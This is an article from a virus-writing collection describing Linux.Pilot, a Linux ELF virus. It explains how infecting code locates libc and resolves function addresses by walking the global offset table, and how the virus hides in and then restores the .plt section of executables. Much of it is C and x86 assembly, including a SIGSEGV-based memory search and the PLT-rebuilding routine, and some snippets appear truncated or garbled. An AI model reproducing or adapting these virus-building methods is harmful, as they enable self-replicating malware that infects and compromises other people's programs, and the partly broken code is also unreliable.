,, MMP""MM""YMM `7MM P' MM `7 MM MM MMpMMMb. .gP"Ya MM MM MM ,M' Yb MM MM MM 8M"""""" MM MM MM YM. , .JMML. .JMML JMML.`Mbmmd' `7MMF' `7MF' `7MMF' `7MMF' `MA ,V MM MM VM: ,V `7M' `MF' MM MM .gP"Ya ,6"Yb.`7M' `MF'.gP"Ya `7MMpMMMb. MM. M' `VA ,V' MMmmmmmmMM ,M' Yb 8) MM VA ,V ,M' Yb MM MM `MM A' XMX MM MM 8M"""""" ,pm9MM VA ,V 8M"""""" MM MM :MM; ,V' VA. MM MM YM. , 8M MM VVV YM. , MM MM VF .AM. .MA..JMML. .JMML.`Mbmmd' `Moo9^Yo. W `Mbmmd'.JMML JMML. ,, ,, ,, .g8"""bgd `7MM `7MM mm db .dP' `M MM MM MM dM' ` ,pW"Wq. MM MM .gP"Ya ,p6"bo mmMMmm `7MM ,pW"Wq.`7MMpMMMb. MM 6W' `Wb MM MM ,M' Yb 6M' OO MM MM 6W' `Wb MM MM MM. 8M M8 MM MM 8M"""""" 8M MM MM 8M M8 MM MM `Mb. ,'YA. ,A9 MM MM YM. , YM. , MM MM YA. ,A9 MM MM `"bmmmd' `Ybmd9'.JMML..JMML.`Mbmmd' YMbmd' `Mbmo.JMML.`Ybmd9'.JMML JMML. -- Contact -- https://twitter.com/vxunderground vxug@null.net


After finishing the Lacrimae virus which is able to extend any section and thus import library functions, I spent some time thinking how an ordinary virus can use the libc or any other library. There are a lot of opportunities for the viruses having such a feature. Here I wish to present a method to do it, using test virus Linux.Pilot as an example.

As late as in 2002 the grugq published a nice method of resolving symbols at run-time utilizing the pointer to the link_map structure, saved within program's GOT by dynamic linker [1]. As another BugTraq writer stated - this was known even earlier, but to my great surprise, I didn't saw any virus using this technique. My results were similar to the ones obtained by grugq, though I decided do not use link_map. There is a another method, more simple and independent of how lazy the dynamic linker is.

Obtaining libc address

We will make advantage of the fact that the dynamic linker and (most likely) the program are using libc. To obtain the base address of libc and, hence, the access to its functions and symbol table (to find function addresses) we will subsequently examine the contents of the global offset table in current process, dynamic linker and libc. The memory after loading the executable (and all its libraries) may look as follows:

      Lazy linking                             "Immediate" linking
      .text                                    .text
      malloc: <------+                         
                     |                         libcfoo: <-----+
      /lib/ld-linux.so.2                                      |
      .text          |                         .text          |
      _dl_runtime_resolve: <--+                               |
                     |        |                               |
      .got.plt       |        |                .got.plt       |
GOT[0]|          |   |        |                |          |   |
GOT[1]|          |   |        |                |          |   |
GOT[2]|          |   |        |                |          |   |
GOT[3]| memalign |   |        |                | memalign |   |
GOT[4]| malloc   | --+        |                | malloc   |   |
                              |                               |
      Program                 |                               |
      .plt push  GOT[1]       |                .plt           |
           jmp   GOT[2]       |                               |
      .plt+16                 |                .plt+16        |
      libcfoo@plt:            |                               |
           jmp   GOT[3]       |                    jmp GOT[3] |
           push  0 <----+     |                               |
           jmp   .plt   |     |                               |
      .got.plt          |     |                .got.plt       |
GOT[0]| .dynamic |      |     |                | .dynamic |   |
GOT[1]| link_map |      |     |                |          |   |
GOT[2]| _resolve | -----|-----+                |       0  |   |
GOT[3]| libcfoo  | -----+                      | libcfoo  | --+        

The actions for each step are much the same:

This is exactly what unwind function is doing:

void unwind(uint32_t addr, uint32_t **got, Elf32_Dyn **dyn, uint32_t *delta)
	get_dyn_file_base(get_base(addr), dyn, delta);
	*got = get_from_dyn(*dyn, DT_PLTGOT);
	printf("unwind: GOT=%08x DYNAMIC=%08x DELTA=%08x\n", *got, *dyn, *delta);

To start "unwinding" the loaded elves we need the address of GOT. You can either call unwind for some adress within the current process and get the address of GOT, or the address of GOT could be saved in the subsequent virus generation by the infection routine.

By repeating this sequence with GOT[2] as argument we will get base, dynamic, delta and got of the dynamic linker. Since it is using the libc itself, let's do it one more time for linker's GOT[4] and we will find those addresses of libc. Now, one could use the hash and dynamic symbol table to resolve the addresses of functions. I'm using here GOT[4], not GOT[3], because in older version of libc it was reserved.

If the executable was started with LD_BIND_NOW (all addresses were resolved before starting the program), run the unwind function once for any libc' GOT entry in the current process. For the sake of simplicity Linux.Pilot doesn't check if the GOT entry really intended to be filled with address of libc function, while one may find the __libc_start_main's GOT entry (just to be sure).

Consider the following example:

int main(int argc, char **argv, char **envp)
        uint32_t *got, delta;
        Elf32_Dyn *dyn;
        unwind((uint32_t)main, &got, &dyn, & delta);
        if (got[2])
                unwind(got[2], &got, &dyn, & delta);
        unwind(got[4], &got, &dyn, &delta);
        Elf32_Sym *dynsym;
        char *dynstr;
        uint32_t *hash;
        void (*printf_ptr)(char*,...);

        dynsym = (Elf32_Sym*)get_from_dyn(dyn, DT_SYMTAB);
        dynstr = get_from_dyn(dyn, DT_STRTAB);
        hash = get_from_dyn(dyn, DT_HASH);
        printf_ptr = (void(*)(char*,...))(lookup("printf", hash, dynsym, dynstr) + delta);
        printf_ptr("Hello, world! printf = %08x\n", (uint32_t)printf_ptr);

The lookup returns the st_value field from the matched dynamic symbol table entry. [2]

The output of the sample program on the prelinked system may look like this:

$ ./a.out 
unwind: GOT=08049914 DYNAMIC=08049848 DELTA=00000000
unwind: GOT=0052afb4 DYNAMIC=0052aef4 DELTA=00000000
unwind: GOT=0021fff4 DYNAMIC=0021fd1c DELTA=00000000
Hello, world! printf = 00142810
$ export LD_BIND_NOW=1 && ./a.out 
unwind: GOT=08049914 DYNAMIC=08049848 DELTA=00000000
unwind: GOT=0021fff4 DYNAMIC=0021fd1c DELTA=00000000
Hello, world! printf = 00142810

That's how we can obtain the addresses of functions within libc without single syscall.

The above functions in assembler:

unwind:         push    eax
                call    get_base
                xchg    eax, edi
                push    edi
                call    get_dyn_file_base
;               or      eax, eax
;               jz      fail
                xchg    eax, esi
                sub     edi, edx
                add     esi, edi
                push    DT_PLTGOT
                push    esi
                call    get_from_dyn
;               or      eax, eax
;               jz      fail
                xchg    eax, ecx

; get_base(addr) - return base address of the loaded ELF file
get_base:       mov     eax, [esp + 4]
                and     ax, 0xf000
        .loopcmp     dword [eax + 0], 0x464c457f
                jne     .next
;               cmp     dword [eax + 4], 0x00010101
;               jne     .next
                retn    4
        .next:  sub     eax, 4096
                jmp     .loop
; get_from_dyn(DYNAMIC, tag) - return the DYNAMIC entry with given tag
get_from_dyn:   push    esi
                mov     esi, [esp + 8]
                or      eax, eax
                jz      .done
                cmp     eax, [esp + 12]
                je      .done
                jmp     .loop
        .done:  lodsd
                pop     esi
                retn    8
; uint64_t get_dyn_file_base(elf_file) return VA of DYNAMIC and lowest VA in ELF file
                mov     esi, [esp + 36]
                movzx   ecx, word [esi + e_phnum]
                add     esi, [esi + e_phoff]
                xor     eax, eax
                dec     edx
        .loopmov     ebx, [esi + p_type]
                cmp     ebx, PT_LOAD
                jne     .more
                cmp     [esi + p_vaddr], edx
                jae     .more
                mov     edx, [esi + p_vaddr]
        .more:  cmp     ebx, PT_DYNAMIC
                jne     .next
                mov     eax, [esi + p_vaddr]
        .next:  add     esi, 32
                loop    .loop
                inc     edx
                jz      .fail
                dec     edx
        .fail:  mov     [esp + 28], eax
                mov     [esp + 20], edx
                retn    4

Since Linux.Pilot is a cavity infector which replaces the .plt section with iself, it doesn't need the first call to unwind. It will grab the GOT+8 address from the PLT directly:

_plt:           push    dword [_GLOBAL_OFFSET_TABLE_ + 4]
                jmp     dword [_GLOBAL_OFFSET_TABLE_ + 8]
                dd      0
; virus begins from the first PLT entry
; calculate the address of virus and substract eight from it
; to fetch the GOT+8 offset from the jmp instruction above
main:           pusha
                call    .l0
.l0:            pop     ebp
                sub     ebp, (.l0 - main)
; instead of this
                mov     ebx, [ebp - 8]                          ; GOT + 8
; you may use unwind here:
; mov   eax, ebp
; call  unwind
; lea   ebx, [ecx + 8]
                mov     eax, [ebx]                              ; GOT[2] - _dl_runtime_resolve
                or      eax, eax
                jnz     .lazy
                ; address is empty, LD_BIND_NOW is set?
                ; use GOT[4], hope that this is libc...
                ; this should be checked
                mov     eax, [ebx + 8]                         
                jmp     .bnow
.lazy:          call    unwind
                mov     eax, [ecx + 16]                         ; GOT[4] - address of libc' function
.bnow:          call    unwind                                  ; within interp
                ; now we have
                ; esi           - libc' DYNAMIC
                ; edi           - libc' delta
                ; ecx           - libc' GOT

Brute force

The address of the loaded ELF files could be found by brute force search. We can install signal handler to catch the SIGSEGV (which will raise on invalid memory references) and look through the whole address space of the process. Since libc library is larger than 1Mb we can increase the step of the search to fasten the search. The code below will work both on 2.4 and 2.6:

; compile with nasm -f elf search.asm -o search.o; gcc search.o -o search
                BITS    32
                CPU     386
                global  main
                extern  signal,printf
                section .text
main:           pusha
;               push    segv
;               push    11
;               call    signal
;               add     esp, 8
                push    sret
                push    0x4000000
                push    0
                push    segv
                mov     eax, 67         ; sigaction
                mov     ebx, 11
                mov     ecx, esp
                mov     edx, 0
                int     0x80
                add     esp, 16

                xor     eax, eax
        .next:  mov     edx, [eax]      ; BANG!
                mov     ebx, eax
                and     eax, 0xfffff000
        .down:  cmp     dword [eax], 0x464c457f
                je      .found
                sub     eax, 0x1000
                jmp     .down
        .found: push    eax
                push    format
                call    printf
                pop     eax
                pop     eax
                mov     eax, ebx
        .up:    add     eax, 0x1000
                mov     ecx, [eax]
                jmp     .up
        .done:  popa
segv:           mov     eax, [esp + 0x34]
                add     dword [esp + 0x34], 1048576
                cmp     [esp + 0x34], eax
                jb      .done
                mov     dword [esp + 0x40], main.next
        .done:  mov     dword [esp + 0x40], main.done
                db      0
                align   8
sret:           pop     eax
                mov     eax, 119        ; sigreturn
                int     0x80

                section .data
format          db      'Found ELF at %08x',10,0

The only thing that is left (as an excercise to the reader) is to check whether the found ELF is indeed the libc, one can do that, for example, by checking the DT_SONAME field in the dynamic segment or by other means.

Teaching old ELFs new tricks

And a few words about PiLoT's infection routine. It is using the fact that you can replace any loadable section which does not take part in the process of execution and linking of the file. The virus can move (or compress) the .text section and restore it on exit. This virus doing the same with Procedure Linkage Table (.plt section). Nice thing about PLT is that you don't need to save its contents only a few constants.

Let's look to it closer (this is /bin/ps from my system, address of GOT (Global Offset Table) is 080570e8):

 8048e58:  ,--->ff 35 ec 70 05 08       pushl  0x80570ec	; GOT[1] address of link_map
 8048e5e:  |||  ff 25 f0 70 05 08       jmp    *0x80570f0	; GOT[2] address of resolve
08048e68 <sigfillset@plt>:
 8048e68:  |||  ff 25 f4 70 05 08       jmp    *0x80570f4	; GOT + 12
 8048e6e:  |||  68 00 00 00 00          push   $0x0		; 0
 8048e73:  ||`--e9 e0 ff ff ff          jmp    8048e58
08048e78 <getgrnam@plt>:
 8048e78:  ||   ff 25 f8 70 05 08       jmp    *0x80570f8	; GOT + 16
 8048e7e:  ||   68 08 00 00 00          push   $0x8		; 8
 8048e83:  |`---e9 d0 ff ff ff          jmp    8048e58
08048e88 <readproctab2@plt>:
 8048e88:  |    ff 25 fc 70 05 08       jmp    *0x80570fc	; GOT + 20
 8048e8e:  |    68 10 00 00 00          push   $0x10		; 16
 8048e93:  `----e9 c0 ff ff ff          jmp    8048e58

Note, that addresses of the GOT entries (jmp *0x?) and offsets in the relocation table (push $0x0) are sorted, and the jump and the end of each function helper is pointing to the beginning of PLT, so you can build PLT table for the given executable from scratch having only the address of GOT. To be sure, PiLoT memorizes values of GOT pointer and offset in relocation table, the number of entries in the table and checks that these values are increasing with the given step. This check could be implemented as follows:

        uint32_t gotp, orel;
        gotp = orel = 0;
        for (i = 16; i < psz; i += 16) {
                if (gotp != 0) {
                        if (*(uint32_t*)(plt + i + 2) - gotp != 4)
                                goto failed;
                        if (*(uint32_t*)(plt + i + 7) - orel != 8)
                                goto failed;
                gotp = *(uint32_t*)(plt + i + 2);
                orel = *(uint32_t*)(plt + i + 7);              

Where plt is the pointer to the .plt section and psz its size.

The virus must restore the PLT before the main program starts to invoke library functions and since the program itself is started by __libc_start_main() this method is incompatible with EPO. To restore the PLT virus should allocate memory for itself, jump there and reconstruct the table:

                ; restore .plt
                mov     eax, ebp                ; ebp is .plt + 16
                and     ax, 0xf000
                push    PROT_READ|PROT_WRITE
                push    4096
                push    eax
                call    mprotect
                mov     edx, dword 0x08049000   ; first pointer to GOT
first_got       equ     $-4-main
                mov     esi, dword 0x00000000   ; first offset in .rel.plt
first_rel       equ     $-4-main
                mov     eax, dword 0xffffffe0   ; jump
                mov     edi, ebp
                mov     ecx, dword 1
plt_count       equ     $-4-main
        .fix:   push    eax
                mov     ax, 0x25ff
                mov     eax, edx
                mov     al, 0x68
                mov     eax, esi
                mov     al, 0xe9
                pop     eax
                sub     eax, 16
                add     esi, 8
                add     edx, 4
                loop    .fix
                mov     byte [esp + 8], PROT_READ|PROT_EXEC
                call    mprotect
                add     esp, 12

Comments are welcome. <herm1t@vx.netlux.org>


  1. the grugq "More ELF buggery...", May, 2002, http://seclists.org/bugtraq/2002/May/0249.html
  2. herm1t "Hashing the elves", Oct 2007